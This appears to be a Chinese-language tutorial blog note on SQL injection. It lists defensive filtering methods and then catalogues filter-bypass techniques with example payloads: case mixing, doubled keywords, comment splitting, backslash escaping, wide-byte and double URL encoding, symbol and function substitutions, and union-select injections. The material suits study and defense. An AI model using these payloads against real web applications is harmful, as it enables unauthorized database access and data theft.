SQL注入过滤方法
在进行SQL绕过之前,先了解一下有哪些过滤方法:
参数化查询:
使用数据库提供的参数化查询接口,这样用户输入会被数据库当作数据处理,而不是SQL命令的一部分。
使用ORM框架:
对象关系映射(ORM)框架通常自带防止SQL注入的机制,因为它们使用参数化查询或自己的抽象层来处理数据。
输入验证:
对所有用户输入进行验证,确保它们符合预期的数据类型和格式。例如,如果期望的输入是数字,确保输入不是字符串或其他数据类型。
白名单过滤:
只允许已知安全的数据通过,而不是尝试识别和过滤掉所有可能的危险输入。
黑名单过滤:
识别并拒绝包含潜在危险字符或字符串的输入,如SQL关键字(SELECT、INSERT、DELETE等)。
正则表达式:
使用正则表达式来验证用户输入是否符合特定的模式,从而阻止不符合模式的输入。
转义特殊字符:
对用户输入中的特殊字符(如单引号、分号等)进行转义,使它们在SQL语句中不再具有特殊含义。
使用安全的API和函数:
选择安全的数据库访问API和函数,避免那些允许直接执行SQL命令的API。
限制数据库权限:
限制应用程序使用的数据库账户权限,确保它们没有必要的权限去执行潜在的危险操作。
使用Web应用防火墙(WAF):
部署WAF可以帮助过滤掉包含SQL注入攻击尝试的请求。
输出编码:
对所有输出到页面的数据进行适当的编码,以防止跨站脚本(XSS)攻击,这也间接有助于减少SQL注入的风险。
错误处理:
定制错误消息,避免在错误响应中泄露数据库结构或敏感信息。
使用HTTPonly和Secure标志:
对于Cookies,使用HTTPonly标志可以防止客户端脚本访问,使用Secure标志可以确保通过HTTPS传输。
内容安全策略(CSP):
通过实施内容安全策略,可以减少XSS攻击的风险,间接降低SQL注入的可能性。
定期安全审计和代码审查:
定期对应用程序代码进行安全审计和代码审查,以发现和修复潜在的安全漏洞。
常见绕过姿势
大小写
双写
关键字分割(内联注释符/**/、尖括号<>)
# 原语句
select username,password from users;
#大小写绕过
SelECt username,password fRoM users;
#双写绕过
seselectct username,password frfromom users;
#关键字分割
sel/**/ect username,password fro/**/m users;
sele<>ct username,password fr<>om users;
#任意两者或多种绕过的结合使用
转义符\绕过
1、宽字节绕过(%df%5c)
2、若\没有被过滤,使用\令闭合符失效
3、二次编码(%2527)
1、宽字节注入在上一篇博客讲到,是因%df+%5c结合为一个宽字节因为GBK编码组合成一个汉字,从而使\失效。
2、除此之外,若\没有被网站过滤,也可以利用\对字符的转义来进行SQL注入。
原理:
#原语句
select * from users where username='admin' and password='123'
#网站对\没有做过滤
select * from users where username='admin\' and password='or 1=1#'
因为\后面的'被转义,admin前的'会继续往后找,与or前面的'匹配上
select * from users where username= 'admin and password=' or 1=1#'
'admin and password=' 被作为字符串,SQL语句因执行or 1=1而注入成功
3、二次编码
这个方法没有实操过,原理感觉没什么问题。
%25被URL转义后为%
%27被URL转义后为 ’
网站初次检测用户输入%2527,因为URL编码将%25转化成%,
此时用户输入未检测到特殊字符,直接将%27输入到数据库中。
绕过\的关键点在于网站在对输入数据进行处理时,只进行了一次URL编码,所以将%25转化成%后,不会再检查后面的%27。
符号过滤
容易被过滤的特殊字符除了单引号双引号外,还有很多其它类型:
空格
逗号
比较符(大于小于等于)
注释符
and/or
符号名称 | 绕过方法 |
---|---|
空格 | %20、%09、%0a、 %0b、 %0c、 %0d 、%a0、/**/ 、/* ! */、括号绕过、 |
逗号 | from、offset |
大于号 | greatest() |
小于号 | least() |
等于号 | like、between…and… 、rlike 、regexp |
引号 | 十六进制 |
and | && |
or | II |
注释符 | 添加符号将后面的字符闭合 |
举例:
#空格绕过——括号
原句:select * from users;
绕过:select(*)from(users);
任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。
#逗号绕过——from
原句:substr(database(),1,1)
绕过:substr(database() from 1 for 1)
#大于号绕过——greatest
原句:ascii(substr(database(),1,1))>100
绕过:greatest(ascii(substr(database(),1,1)),100)=?
greatest()函数里有两个及以上参数,返回参数里的最大值
绕过成立的条件是,等号没有被过滤,或者再将等号进行绕过
# 注释符绕过
id=1' union select 1,2,3||'1
最后的or '1闭合查询语句的最后的单引号,或者:
id=1' union select 1,2,'3
#引号过滤
users的十六进制的字符串是7573657273
原句:where table_name="users"
过滤:where table_name=0x7573657273
函数绕过
ascii() | hex()、bin() |
---|---|
sleep() | benchmark() |
group_concat() | concat_ws() |
substr() | substring()、mid() |
user() | @@user |
举例:
#hex()——将字符转成十六进制
hex('a')=61 (0x61)
#bin()——将数字转成二进制
bin(a)=0
若内容为字符,先将字符转成数字,再转二进制
后续再补充……
相关文章参考:
SQL注入——使用转义符“\“
宽字节注入和二次编码注入
SQL注入绕过 方式总结